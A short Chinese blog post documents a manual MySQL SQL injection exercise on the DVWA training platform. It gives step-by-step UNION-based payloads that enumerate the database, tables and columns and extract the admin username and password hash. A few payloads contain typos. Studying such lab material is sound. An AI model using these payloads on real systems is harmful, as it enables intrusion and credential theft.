mysql 简单手工注入

来源 dvwa 平台 级别为Low 中的SQL Injection 试题

1. 判断注入点

# 网址?id=1
id=1\
id=1'			# 页面如果报错多了一个单引号,那么说明可能存在注入点
‘id=1 and 1=1’页面正常,‘id=1 and 1=2’时页面不正常,则这个页面边可能存在注入
id=1' #   # '#' 号注释,注释闭合的单引号,可以试试

当前题目使用 id=1' # # 后面注释,截断

2.判断列的个数 order by

id=1' oreder by 2 #
id=1' oreder by 3 #

# 测试 判断列数3 报错,有2列 

3.判断回显位 union

# 输入一个不存在的id
?id=-1'  union select 100,200 #
# select 后面 个数和列数对应,看网页中显示位置上的数,表示那个位置为回显位

# 回显位为 ----> 200 位置

4. 替换回显位,注入

使用内部变量,或者语句

# database() 数据库名 
# -1' union select 100,database() #

# 库名为 ----->dvwa

库名,版本等信息

version()、@@datadir、@@basedir

5.根据information_schema 库

information_schema 数据库中记录所有信息

information_schema.tables 表中记录所有数据库名 table_schema,table_name 重要字段

information_schema.columns 表中记录所有列名 table_schema,table_name,column_name 重要字段

group_concat(字段名) 函数,可以让字段显示在同一行

注入出表名

information_schema.tables 根据这个表

# -1' union select 100,group_concat(table_name) from information_schema.tables where table_schema=database()  #

或者 后面的 database() 直接换成上一步注入出来的库名
-1' union select 100,group_concat(table_name) from information_schema.tables where table_schema=database() #

# 注入出两个表--->guestbook,users
注入出列名

information_schema.columns 根据这个表

# -1' union select 100,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#

# 表中所有列 user_id,first_name,last_name,user,password,avatar,last_login,failed_login

6.注入出user表数据

-1' union select 100, group_concat(user_id , user , password,) from dvwa.users #
# 查询所有
-1' union select 100, user  from dvwa.users limit 0,1 #
# 查询users表中的user 字段第一个------》 admin
-1' union select 100, password  from dvwa.users limit 0,1 #
# 查询密码第一个 -----》 5f4dcc3b5aa765d61d8327deb882cf99

大概过程,自己记录一下。

posted @ 2020-12-03 11:20  内向是一种性格  阅读(114)  评论(0编辑  收藏  举报